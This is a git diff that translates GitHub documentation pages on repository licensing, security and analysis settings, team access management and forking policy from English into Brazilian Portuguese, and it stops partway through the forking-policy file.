+Nós criamos o [choosealicense.com](https://choosealicense.com), para ajudá-lo a compreender como licenciar seu código. Uma licença de software descreve o que pode e não pode ser feito com seu código-fonte, assim é importante tomar uma decisão fundamentada.
 
-You're under no obligation to choose a license. However, without a license, the default copyright laws apply, meaning that you retain all rights to your source code and no one may reproduce, distribute, or create derivative works from your work. If you're creating an open source project, we strongly encourage you to include an open source license. The [Open Source Guide](https://opensource.guide/legal/#which-open-source-license-is-appropriate-for-my-project) provides additional guidance on choosing the correct license for your project.
+Você não tem qualquer obrigação de escolher uma licença. Entretanto, sem uma licença, são aplicadas as leis padrão de copyright, o que significa que você detém todos os direitos de seu código-fonte e ninguém poderá reproduzir, distribuir ou criar derivativos de seu trabalho. Se você está criando um projeto de código aberto, incentivamos fortemente que você contemple uma licença de código aberto. O [Open Source Guide](https://opensource.guide/legal/#which-open-source-license-is-appropriate-for-my-project) (Guia de código aberto) apresenta orientações adicionais para a escolha da licença correta para seu projeto.
 
 {% note %}
 
-**Note:** If you publish your source code in a public repository on {% data variables.product.product_name %}, {% ifversion fpt or ghec %}according to the [Terms of Service](/free-pro-team@latest/github/site-policy/github-terms-of-service), {% endif %}other users of {% data variables.product.product_location %} have the right to view and fork your repository. If you have already created a repository and no longer want users to have access to the repository, you can make the repository private. When you change the visibility of a repository to private, existing forks or local copies created by other users will still exist. For more information, see "[Setting repository visibility](/github/administering-a-repository/setting-repository-visibility)."
+**Observação:** Se você publicar seu código-fonte em um repositório público em {% data variables.product.product_name %}, {% ifversion fpt or ghec %}de acordo com os [Termos de Serviço](/free-pro-team@latest/github/site-policy/github-terms-of-service), {% endif %}outros usuários de {% data variables.product.product_location %} terão o direito de visualizar e bifurcar o seu repositório. Se você já criou um repositório e não quer mais que os usuários tenham acesso a ele, você pode torná-lo privado. Ao alterar a visibilidade de um repositório para privado, as bifurcações existentes ou cópias locais criadas por outros usuários continuarão existindo. Para obter mais informações, consulte "[Configurar visibilidade do repositório](/github/administering-a-repository/setting-repository-visibility)".
 
 {% endnote %}
 
-## Determining the location of your license
+## Identificar a localização da sua licença
 
-Most people place their license text in a file named `LICENSE.txt` (or `LICENSE.md` or `LICENSE.rst`) in the root of the repository; [here's an example from Hubot](https://github.com/github/hubot/blob/master/LICENSE.md).
+A maioria das pessoas coloca seu texto de licença em um arquivo denominado `LICENSE.txt` (ou `LICENSE.rst` ou `LICENSE.rst`) na raiz do repositório; [aqui está um exemplo do Hubot](https://github.com/github/hubot/blob/master/LICENSE.md).
 
-Some projects include information about their license in their README. For example, a project's README may include a note saying "This project is licensed under the terms of the MIT license."
+Alguns projetos incluem as informações sobre a licença no README. Por exemplo, um README de um projeto pode incluir uma observação declarando "Este projeto está licenciado nos termos da licença MIT."
 
-As a best practice, we encourage you to include the license file with your project.
+Como uma prática recomendada, incentivamos que você inclua o arquivo da licença no seu projeto.
 
-## Searching GitHub by license type
+## Pesquisar no GitHub por tipo de licença
 
-You can filter repositories based on their license or license family using the `license` qualifier and the exact license keyword:
+É possível filtrar repositórios com base nas licenças ou família de licenças deles usando o qualificador `license` (licença) e a palavra-chave exata da licença:
 
-License | License keyword
----  | ---
-| Academic Free License v3.0 | `afl-3.0` |
-| Apache license 2.0 | `apache-2.0` |
-| Artistic license 2.0 | `artistic-2.0` |
-| Boost Software License 1.0 | `bsl-1.0` |
-| BSD 2-clause "Simplified" license | `bsd-2-clause` |
-| BSD 3-clause "New" or "Revised" license | `bsd-3-clause` |
-| BSD 3-clause Clear license | `bsd-3-clause-clear` |
-| Creative Commons license family | `cc` |
-| Creative Commons Zero v1.0 Universal | `cc0-1.0` |
-| Creative Commons Attribution 4.0 | `cc-by-4.0` |
-| Creative Commons Attribution Share Alike 4.0 | `cc-by-sa-4.0` |
-| Do What The F*ck You Want To Public License | `wtfpl` |
-| Educational Community License v2.0 | `ecl-2.0` |
-| Eclipse Public License 1.0 | `epl-1.0` |
-| Eclipse Public License 2.0 | `epl-2.0` |
-| European Union Public License 1.1 | `eupl-1.1` |
-| GNU Affero General Public License v3.0 | `agpl-3.0` |
-| GNU General Public License family | `gpl` |
-| GNU General Public License v2.0 | `gpl-2.0` |
-| GNU General Public License v3.0 | `gpl-3.0` |
-| GNU Lesser General Public License family | `lgpl` |
-| GNU Lesser General Public License v2.1 | `lgpl-2.1` |
-| GNU Lesser General Public License v3.0 | `lgpl-3.0` |
-| ISC | `isc` |
-| LaTeX Project Public License v1.3c | `lppl-1.3c` |
-| Microsoft Public License | `ms-pl` |
-| MIT | `mit` |
-| Mozilla Public License 2.0 | `mpl-2.0` |
-| Open Software License 3.0 | `osl-3.0` |
-| PostgreSQL License | `postgresql` |
-| SIL Open Font License 1.1 | `ofl-1.1` |
-| University of Illinois/NCSA Open Source License | `ncsa` |
-| The Unlicense | `unlicense` |
-| zLib License | `zlib` |
+| Licença | Palavra-chave da licença                                         |
+| ------- | ---------------------------------------------------------------- |
+|         | Licença Academic Free v3.0 | `afl-3.0`                           |
+|         | Licença Apache 2.0 | `apache-2.0`                                |
+|         | Licença Artistic 2.0 | `artistic-2.0`                            |
+|         | Licença Boost Software 1.0 | `bsl-1.0`                           |
+|         | Licença "simplificada" BSD 2-clause | `bsd-2-clause`             |
+|         | Licença "nova" ou "revisada" BSD 3-clause | `bsd-3-clause`       |
+|         | Licença BSD 3-clause Clear | `bsd-3-clause-clear`                |
+|         | Família de licenças Creative Commons | `cc`                      |
+|         | Creative Commons Zero v1.0 Universal | `cc0-1.0`                 |
+|         | Creative Commons Attribution 4.0 | `cc-by-4.0`                   |
+|         | Creative Commons Attribution Share Alike 4.0 | `cc-by-sa-4.0`    |
+|         | Licença Do What The F*ck You Want To Public | `wtfpl`            |
+|         | Licença Educational Community v2.0 | `ecl-2.0`                   |
+|         | Licença Pública Eclipse 1.0 | `epl-1.0`                          |
+|         | Licença Pública Eclipse 2.0 | `epl-2.0`                          |
+|         | Licença Pública da União Europeia 1.1 | `eupl-1.1`               |
+|         | Licença Pública Geral Affero GNU v3.0 | `agpl-3.0`               |
+|         | Família de Licença Pública Geral GNU | `gpl`                     |
+|         | Licença Pública Geral GNU v2.0 | `gpl-2.0`                       |
+|         | Licença Pública Geral GNU v3.0 | `gpl-3.0`                       |
+|         | Família de Licença Pública Geral Menor GNU | `lgpl`              |
+|         | Licença Pública Geral Menor GNU v2.1 | `lgpl-2.1`                |
+|         | Licença Pública Geral Menor GNU v3.0 | `lgpl-3.0`                |
+|         | ISC | `isc`                                                      |
+|         | Licença Pública do Projeto LaTeX v1.3c | `lppl-1.3c`             |
+|         | Licença Pública Microsoft | `ms-pl`                              |
+|         | MIT | `mit`                                                      |
+|         | Licença Pública Mozilla 2.0 | `mpl-2.0`                          |
+|         | Licença Open Software 3.0 | `osl-3.0`                            |
+|         | Licença PostgreSQL | `postgresql`                                |
+|         | Licença de fonte Aberta do SIL 1.1 | `ofl-1.1`                   |
+|         | Licença de Código Aberto da University of Illinois/NCSA | `ncsa` |
+|         | The Unlicense | `unlicense`                                      |
+|         | Licença zLib | `zlib`                                            |
 
-When you search by a family license, your results will include all licenses in that family. For example, when you use the query `license:gpl`, your results will include repositories licensed under GNU General Public License v2.0 and GNU General Public License v3.0. For more information, see "[Searching for repositories](/search-github/searching-on-github/searching-for-repositories/#search-by-license)."
+Quando você pesquisar uma família de licenças, os resultados incluirão todas as licenças daquela família. Por exemplo, quando você usa a consulta `license:gpl`, seus resultados incluirão repositórios licenciados sob a Licença Pública Geral GNU v2.0 e Licença Pública Geral GNU v3.0. Para obter mais informações, consulte "[Pesquisar repositórios](/search-github/searching-on-github/searching-for-repositories/#search-by-license)".
 
-## Detecting a license
+## Identificar uma licença
 
-[The open source Ruby gem Licensee](https://github.com/licensee/licensee) compares the repository's *LICENSE* file to a short list of known licenses. Licensee also provides the [Licenses API](/rest/reference/licenses) and [gives us insight into how repositories on {% data variables.product.product_name %} are licensed](https://github.com/blog/1964-open-source-license-usage-on-github-com). If your repository is using a license that isn't listed on the [Choose a License website](https://choosealicense.com/appendix/), you can [request including the license](https://github.com/github/choosealicense.com/blob/gh-pages/CONTRIBUTING.md#adding-a-license).
+[A licenciada de código aberto Ruby gem ](https://github.com/licensee/licensee) compara o arquivo *LICENSE* do repositório com uma lista curta de licenças conhecidas. A licenciada também fornece as [APIs de licenças](/rest/reference/licenses) e [dá informações sobre como os repositórios no {% data variables.product.product_name %} são licenciados](https://github.com/blog/1964-open-source-license-usage-on-github-com). Se o seu repositório usa uma licença que não está listada no [site Choose a License](https://choosealicense.com/appendix/), você pode [solicitar a inclusão da licença](https://github.com/github/choosealicense.com/blob/gh-pages/CONTRIBUTING.md#adding-a-license).
 
-If your repository is using a license that is listed on the Choose a License website and it's not displaying clearly at the top of the repository page, it may contain multiple licenses or other complexity. To have your license detected, simplify your *LICENSE* file and note the complexity somewhere else, such as your repository's *README* file.
+Caso o seu repositório use uma licença listada no site Choose a License que não aparece na parte superior da página do repositório, ele pode conter licenças múltiplas ou outras complexidades. Para que sua licença seja detectada, simplifique o arquivo *LICENSE* e anote a complexidade em algum outro local, como no arquivo *README* do repositório.
 
-## Applying a license to a repository with an existing license
+## Aplicar uma licença em um repositório com uma licença existente
 
-The license picker is only available when you create a new project on GitHub. You can manually add a license using the browser. For more information on adding a license to a repository, see "[Adding a license to a repository](/articles/adding-a-license-to-a-repository)."
+O selecionador de licenças somente está disponível quando você cria um novo projeto no GitHub. Você pode adicionar uma licença manualmente usando o navegador. Para obter mais informações sobre adicionar uma licença em um repositório, consulte "[Adicionar uma licença em um repositório](/articles/adding-a-license-to-a-repository)".
 
-![Screenshot of license picker on GitHub.com](/assets/images/help/repository/repository-license-picker.png)
+![Captura de tela do selecionador de licenças no GitHub.com](/assets/images/help/repository/repository-license-picker.png)
 
-## Disclaimer
+## Isenção de responsabilidade
 
-The goal of GitHub's open source licensing efforts is to provide a starting point to help you make an informed choice. GitHub displays license information to help users get information about open source licenses and the projects that use them. We hope it helps, but please keep in mind that we’re not lawyers and that we make mistakes like everyone else. For that reason, GitHub provides the information on an "as-is" basis and makes no warranties regarding any information or licenses provided on or through it, and disclaims liability for damages resulting from using the license information. If you have any questions regarding the right license for your code or any other legal issues relating to it, it’s always best to consult with a professional.
+O objetivo das iniciativas de licenciamento de código aberto do GitHub é oferecer um ponto de partida para ajudar você a tomar uma decisão fundamentada. O GitHub apresenta informações sobre licenças para ajudar os usuários a conseguir informações sobre licenças de código aberto e sobre os projetos que as usam. Esperamos que seja útil, mas esteja ciente de que não somos advogados e que cometemos erros como qualquer pessoa. Por esse motivo, o GitHub fornece as informações de forma "como se apresentam" e não faz garantia em relação a qualquer informação ou licença fornecida em ou por meio dela, e exime-se da responsabilidade por danos resultantes do uso das informações de licença. Se você tiver quaisquer dúvidas com relação à licença ideal para seu código ou quaisquer outras questões legais relacionadas a ele, sempre é melhor consultar um profissional.
 
-## Further reading
+## Leia mais
 
-- The Open Source Guides' section "[The Legal Side of Open Source](https://opensource.guide/legal/)"{% ifversion fpt or ghec %}
+- Seção do Open Source Guide (Guia de código aberto) "[O aspecto legal do código aberto](https://opensource.guide/legal/)"{% ifversion fpt or ghec %}
 - [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}){% endif %}
diff --git a/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository.md b/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository.md
index 1619c037aa..c99759b45c 100644
--- a/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository.md
+++ b/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Managing security and analysis settings for your repository
-intro: 'You can control features that secure and analyze the code in your project on {% data variables.product.prodname_dotcom %}.'
+title: Gerenciando as configurações de segurança e análise do seu repositório
+intro: 'Você pode controlar recursos que protegem e analisam o código em seu projeto no {% data variables.product.prodname_dotcom %}.'
 permissions: People with admin permissions to a repository can manage security and analysis settings for the repository.
 redirect_from:
   - /articles/managing-alerts-for-vulnerable-dependencies-in-your-organization-s-repositories
@@ -22,25 +22,25 @@ topics:
   - Dependency graph
   - Secret scanning
   - Repositories
-shortTitle: Security & analysis
+shortTitle: Segurança & análise
 ---
-{% ifversion fpt or ghec %}
-## Enabling or disabling security and analysis features for public repositories
 
-You can manage a subset of security and analysis features for public repositories. Other features are permanently enabled, including dependency graph and secret scanning.
+{% ifversion fpt or ghec %}
+## Habilitar ou desabilitar funcionalidades de segurança e análise para repositórios públicos
+
+É possível gerenciar um subconjunto de recursos de segurança e análise para repositórios públicos. Outros recursos são habilitados permanentemente, incluindo gráfico de dependências e varredura de segredo.
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.navigate-to-security-and-analysis %}
-4. Under "Configure security and analysis features", to the right of the feature, click **Disable** or **Enable**.{% ifversion fpt %}
-  !["Enable" or "Disable" button for "Configure security and analysis" features in a public repository](/assets/images/help/repository/security-and-analysis-disable-or-enable-fpt-public.png){% elsif ghec %}
-  !["Enable" or "Disable" button for "Configure security and analysis" features in a public repository](/assets/images/help/repository/security-and-analysis-disable-or-enable-ghec-public.png){% endif %}
+4. Em "Configurar as funcionalidades de segurança e análise", à direita do recurso, clique em **Habilitar** ou **Desabilitar**.{% ifversion fpt %} !["Enable" or "Disable" button for "Configure security and analysis" features in a public repository](/assets/images/help/repository/security-and-analysis-disable-or-enable-fpt-public.png){% elsif ghec %}
+!["Enable" or "Disable" button for "Configure security and analysis" features in a public repository](/assets/images/help/repository/security-and-analysis-disable-or-enable-ghec-public.png){% endif %}
 {% endif %}
 
-## Enabling or disabling security and analysis features{% ifversion fpt or ghec %} for private repositories{% endif %}
+## Habilitar ou desabilitar os recursos de segurança e análise{% ifversion fpt or ghec %} para repositórios privados{% endif %}
 
-You can manage the security and analysis features for your {% ifversion fpt or ghec %}private or internal {% endif %}repository.{% ifversion ghes or ghec %} If your organization belongs to an enterprise with a license for {% data variables.product.prodname_GH_advanced_security %} then extra options are available. {% data reusables.advanced-security.more-info-ghas %}
-{% elsif fpt %} Organizations that use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_advanced_security %} have extra options available. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest//repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository#enabling-or-disabling-security-and-analysis-features-for-private-repositories).
+Você pode administrar as funcionalidades de segurança e análise para o seu repositório{% ifversion fpt or ghec %}privado ou interno {% endif %}.{% ifversion ghes or ghec %} Se a sua organização pertencer a uma empresa que tem uma licença para {% data variables.product.prodname_GH_advanced_security %}, haverá opções adicionais disponíveis. {% data reusables.advanced-security.more-info-ghas %}
+{% elsif fpt %} As organizações que usam {% data variables.product.prodname_ghe_cloud %} com {% data variables.product.prodname_advanced_security %} têm opções adicionais disponíveis. Para obter mais informações, consulte a [documentação de {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest//repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository#enabling-or-disabling-security-and-analysis-features-for-private-repositories).
 {% endif %}
 
 {% data reusables.security.security-and-analysis-features-enable-read-only %}
@@ -49,82 +49,79 @@ You can manage the security and analysis features for your {% ifversion fpt or g
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.navigate-to-security-and-analysis %}
 {% ifversion fpt or ghes > 3.0 or ghec %}
-4. Under "Configure security and analysis features", to the right of the feature, click **Disable** or **Enable**. {% ifversion not fpt %}The control for "{% data variables.product.prodname_GH_advanced_security %}" is disabled if your enterprise has no available licenses for {% data variables.product.prodname_advanced_security %}.{% endif %}{% ifversion fpt %}
-  !["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/help/repository/security-and-analysis-disable-or-enable-fpt-private.png){% elsif ghec %}
-  !["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/help/repository/security-and-analysis-disable-or-enable-ghec-private.png){% elsif ghes > 3.2 %}
-  !["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/enterprise/3.3/repository/security-and-analysis-disable-or-enable-ghes.png){% else %}
-  !["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/enterprise/3.1/help/repository/security-and-analysis-disable-or-enable-ghes.png){% endif %}
-  
+4. Em "Configurar recursos de segurança e análise", à direita do recurso, clique em **Desabilitar** ou **Habilitar**. {% ifversion not fpt %}O controle para "{% data variables.product.prodname_GH_advanced_security %}" está desabilitado se a sua empresa não tiver licenças disponíveis para {% data variables.product.prodname_advanced_security %}.{% endif %}{% ifversion fpt %} !["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/help/repository/security-and-analysis-disable-or-enable-fpt-private.png){% elsif ghec %}
+!["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/help/repository/security-and-analysis-disable-or-enable-ghec-private.png){% elsif ghes > 3.2 %}
+!["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/enterprise/3.3/repository/security-and-analysis-disable-or-enable-ghes.png){% else %}
+!["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/enterprise/3.1/help/repository/security-and-analysis-disable-or-enable-ghes.png){% endif %}
+
   {% ifversion not fpt %}
   {% note %}
 
-  **Note:** If you disable {% data variables.product.prodname_GH_advanced_security %}, {% ifversion ghec %}dependency review, {% endif %}{% data variables.product.prodname_secret_scanning %} and {% data variables.product.prodname_code_scanning %} are disabled. Any workflows, SARIF uploads, or API calls for {% data variables.product.prodname_code_scanning %} will fail.
+  **Observação:** Se você desabilitar {% data variables.product.prodname_GH_advanced_security %}, {% ifversion ghec %}revisão de dependência, {% endif %}{% data variables.product.prodname_secret_scanning %} e {% data variables.product.prodname_code_scanning %} ficarão desabilitados. Todos os fluxos de trabalho, uploads de SARIF, ou chamadas de API para {% data variables.product.prodname_code_scanning %} falharão.
   {% endnote %}{% endif %}
 
   {% endif %}
 
   {% ifversion ghes = 3.0 %}
-4. Under "Configure security and analysis features", to the right of the feature, click **Disable** or **Enable**.
-  !["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/help/repository/security-and-analysis-disable-or-enable-ghe.png)
+4. Em "Configurar recursos de segurança e análise", à direita do recurso, clique em **Desabilitar** ou **Habilitar**. ![Botão "Habilitar" ou "Desabilitar" para "Configurar recursos de segurança e análise" ](/assets/images/help/repository/security-and-analysis-disable-or-enable-ghe.png)
   {% endif %}
   {% ifversion ghae %}
-4. Under "Configure security and analysis features", to the right of the feature, click **Disable** or **Enable**. Before you can enable "{% data variables.product.prodname_secret_scanning %}" for your repository, you may need to enable {% data variables.product.prodname_GH_advanced_security %}.
-   ![Enable or disable {% data variables.product.prodname_GH_advanced_security %} or {% data variables.product.prodname_secret_scanning %} for your repository](/assets/images/enterprise/github-ae/repository/enable-ghas-secret-scanning-ghae.png)
+4. Em "Configurar recursos de segurança e análise", à direita do recurso, clique em **Desabilitar** ou **Habilitar**. Antes de poder habilitar "{% data variables.product.prodname_secret_scanning %}" no seu repositório, talvez seja necessário habilitar {% data variables.product.prodname_GH_advanced_security %}. ![Habilite ou desabilite {% data variables.product.prodname_GH_advanced_security %} ou {% data variables.product.prodname_secret_scanning %} para o seu repositório](/assets/images/enterprise/github-ae/repository/enable-ghas-secret-scanning-ghae.png)
   {% endif %}
 
-## Granting access to security alerts
+## Conceder acesso aos alertas de segurança
 
-Security alerts for a repository are visible to people with admin access to the repository and, when the repository is owned by an organization, organization owners. You can give additional teams and people access to the alerts.
+Os alertas de segurança de um repositório são visíveis para pessoas com acesso de administrador ao repositório e quando o repositório pertencer a uma organização ou aos proprietários da organização. Você pode dar acesso aos alertas a outras equipes e pessoas.
 
 {% note %}
 
-Organization owners and repository administrators can only grant access to view security alerts, such as {% data variables.product.prodname_secret_scanning %} alerts, to people or teams who have write access to the repo.
+Os proprietários da organização e os administradores do repositório só podem conceder acesso para ver os alertas de segurança como, por exemplo, alertas de {% data variables.product.prodname_secret_scanning %} para pessoas ou equipes que têm acesso de gravação no repositório.
 
 {% endnote %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.navigate-to-security-and-analysis %}
-4. Under "Access to alerts", in the search field, start typing the name of the person or team you'd like to find, then click a name in the list of matches.
+4. Em "Acesso aos alertas", no campo de pesquisa, comece a digitar o nome da pessoa ou equipe que você gostaria de encontrar e, em seguida, clique em um nome na lista de correspondências.
    {% ifversion fpt or ghec or ghes > 3.2 %}
-   ![Search field for granting people or teams access to security alerts](/assets/images/help/repository/security-and-analysis-security-alerts-person-or-team-search.png)
+   ![Campo de busca para conceder acesso de pessoas ou equipes aos alertas de segurança](/assets/images/help/repository/security-and-analysis-security-alerts-person-or-team-search.png)
    {% endif %}
    {% ifversion ghes < 3.3 %}
-   ![Search field for granting people or teams access to security alerts](/assets/images/enterprise/3.2/repository/security-and-analysis-security-alerts-person-or-team-search.png)
+   ![Campo de busca para conceder acesso de pessoas ou equipes aos alertas de segurança](/assets/images/enterprise/3.2/repository/security-and-analysis-security-alerts-person-or-team-search.png)
    {% endif %}
    {% ifversion ghae %}
-   ![Search field for granting people or teams access to security alerts](/assets/images/enterprise/github-ae/repository/security-and-analysis-security-alerts-person-or-team-search-ghae.png)
-   {% endif %}
-   
-5. Click **Save changes**.
-   {% ifversion fpt or ghes > 3.2 or ghec %}
-   !["Save changes" button for changes to security alert settings](/assets/images/help/repository/security-and-analysis-security-alerts-save-changes.png)
-   {% endif %}
-   {% ifversion ghes < 3.3 %}
-   !["Save changes" button for changes to security alert settings](/assets/images/enterprise/3.2/repository/security-and-analysis-security-alerts-save-changes.png)
-   {% endif %}
-   {% ifversion ghae %}
-   !["Save changes" button for changes to security alert settings](/assets/images/enterprise/github-ae/repository/security-and-analysis-security-alerts-save-changes-ghae.png)
+   ![Campo de busca para conceder acesso de pessoas ou equipes aos alertas de segurança](/assets/images/enterprise/github-ae/repository/security-and-analysis-security-alerts-person-or-team-search-ghae.png)
    {% endif %}
 
-## Removing access to security alerts
+5. Clique em **Save changes** (Salvar alterações).
+   {% ifversion fpt or ghes > 3.2 or ghec %}
+   ![Botão de "Salvar as alterações" para alterações nas configurações do alerta de segurança](/assets/images/help/repository/security-and-analysis-security-alerts-save-changes.png)
+   {% endif %}
+   {% ifversion ghes < 3.3 %}
+   ![Botão de "Salvar as alterações" para alterações nas configurações do alerta de segurança](/assets/images/enterprise/3.2/repository/security-and-analysis-security-alerts-save-changes.png)
+   {% endif %}
+   {% ifversion ghae %}
+   ![Botão de "Salvar as alterações" para alterações nas configurações do alerta de segurança](/assets/images/enterprise/github-ae/repository/security-and-analysis-security-alerts-save-changes-ghae.png)
+   {% endif %}
+
+## Remover o acesso aos alertas de segurança
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.navigate-to-security-and-analysis %}
-4. Under "Access to alerts", to the right of the person or team whose access you'd like to remove, click {% octicon "x" aria-label="X symbol" %}.
-   {% ifversion fpt or ghec or ghes > 3.2 %}  
-   !["x" button to remove someone's access to security alerts for your repository](/assets/images/help/repository/security-and-analysis-security-alerts-username-x.png)
+4. Em "Acesso aos alertas", à direita da pessoa ou da equipe cujo acesso você deseja remover, clique em {% octicon "x" aria-label="X symbol" %}.
+   {% ifversion fpt or ghec or ghes > 3.2 %}
+   ![Botãi "x" para remover o acesso de alguém aos alertas de segurança do seu repositório](/assets/images/help/repository/security-and-analysis-security-alerts-username-x.png)
    {% endif %}
    {% ifversion ghes < 3.3 %}
-   !["x" button to remove someone's access to security alerts for your repository](/assets/images/enterprise/3.2/repository/security-and-analysis-security-alerts-username-x.png)
+   ![Botãi "x" para remover o acesso de alguém aos alertas de segurança do seu repositório](/assets/images/enterprise/3.2/repository/security-and-analysis-security-alerts-username-x.png)
    {% endif %}
    {% ifversion ghae %}
-   !["x" button to remove someone's access to security alerts for your repository](/assets/images/enterprise/github-ae/repository/security-and-analysis-security-alerts-username-x-ghae.png)
+   ![Botãi "x" para remover o acesso de alguém aos alertas de segurança do seu repositório](/assets/images/enterprise/github-ae/repository/security-and-analysis-security-alerts-username-x-ghae.png)
    {% endif %}
-  5. Click **Save changes**.
+  5. Clique em **Save changes** (Salvar alterações).
 
-## Further reading
+## Leia mais
 
-- "[Securing your repository](/code-security/getting-started/securing-your-repository)"
-- "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)"
+- "[Protegendo o seu repositório](/code-security/getting-started/securing-your-repository)"
+- "[Gerenciando configurações de segurança e análise para sua organização](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)"
diff --git a/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository.md b/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository.md
index 62a46a9bce..f702e4d33f 100644
--- a/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository.md
+++ b/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository.md
@@ -14,13 +14,13 @@ topics:
 shortTitle: Equipes & pessoas
 ---
 
-## About access management for repositories
+## Sobre gerenciamento de acesso para repositórios
 
-Para cada repositório que você administra no {% data variables.product.prodname_dotcom %}, você pode ter uma visão geral de cada equipe ou pessoa com acesso ao repositório. From the overview, you can also invite new teams or people, change each team or person's role for the repository, or remove access to the repository.
+Para cada repositório que você administra no {% data variables.product.prodname_dotcom %}, você pode ter uma visão geral de cada equipe ou pessoa com acesso ao repositório. Na visão geral, você também pode convidar novas equipes ou pessoas, alterar a função de cada equipe ou pessoa para o repositório ou remover o acesso ao repositório.
 
 Esta visão geral pode ajudá-lo a auditar o acesso ao seu repositório, incluir ou excluir funcionários ou colaboradores, e responder efetivamente aos incidentes de segurança.
 
-For more information about repository roles, see "[Permission levels for a user account repository](/github/setting-up-and-managing-your-github-user-account/permission-levels-for-a-user-account-repository)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
+Para obter mais informações sobre funções do repositório, consulte "[Níveis de permissão para um repositório de conta de usuário](/github/setting-up-and-managing-your-github-user-account/permission-levels-for-a-user-account-repository)" e "[Funções do repositório para uma organização](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)".
 
 ![Acessar visão geral do gerenciamento ](/assets/images/help/repository/manage-access-overview.png)
 
@@ -36,7 +36,7 @@ For more information about repository roles, see "[Permission levels for a user
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.navigate-to-manage-access %}
-4. Under "Manage access", find the team or person whose role you'd like to change, then select the Role drop-down and click a new role. ![Usando a "Função" menu suspenso para selecionar novas permissões para uma equipe ou pessoa](/assets/images/help/repository/manage-access-role-drop-down.png)
+4. Em "Gerenciar acesso", encontre a equipe ou pessoa cuja função você gostaria de alterar. Em seguida, selecione a função suspensa e clique em uma nova função. ![Usando a "Função" menu suspenso para selecionar novas permissões para uma equipe ou pessoa](/assets/images/help/repository/manage-access-role-drop-down.png)
 
 ## Convidando uma equipe ou pessoa
 
@@ -45,7 +45,7 @@ For more information about repository roles, see "[Permission levels for a user
 {% data reusables.repositories.navigate-to-manage-access %}
 {% data reusables.organizations.invite-teams-or-people %}
 5. No campo de busca, comece a digitar o nome da equipe ou pessoa para convidar, depois clique em um nome na lista de correspondências. ![Campo de pesquisa para digitar o nome de uma equipe ou pessoa para convidar ao repositório](/assets/images/help/repository/manage-access-invite-search-field.png)
-6. Under "Choose a role", select the repository role to grant to the team or person, then click **Add NAME to REPOSITORY**. ![Selecionando permissões para a equipe ou pessoa](/assets/images/help/repository/manage-access-invite-choose-role-add.png)
+6. Em "Escolher uma função", selecione o a função do repositório para conceder à equipe ou pessoa. Em seguida, clique em **Adicionar NOME ao REPOSITÓRIO**. ![Selecionando permissões para a equipe ou pessoa](/assets/images/help/repository/manage-access-invite-choose-role-add.png)
 
 ## Removendo acesso de uma equipe ou pessoa
 
diff --git a/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md b/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md
index b5692be81c..5b24b0ecd7 100644
--- a/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md
+++ b/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Managing the forking policy for your repository
-intro: 'You can allow or prevent the forking of a specific private{% ifversion ghae or ghes or ghec %} or internal{% endif %} repository owned by an organization.'
+title: Gerenciando a política de bifurcação para seu repositório
+intro: 'Você pode permitir ou impedir a bifurcação de um repositório privado específico{% ifversion ghae or ghes or ghec %} ou interno{% endif %} pertencente a uma organização.'
 redirect_from:
   - /articles/allowing-people-to-fork-a-private-repository-owned-by-your-organization
   - /github/administering-a-repository/allowing-people-to-fork-a-private-repository-owned-by-your-organization
@@ -14,16 +14,16 @@ versions:
   ghec: '*'
 topics:
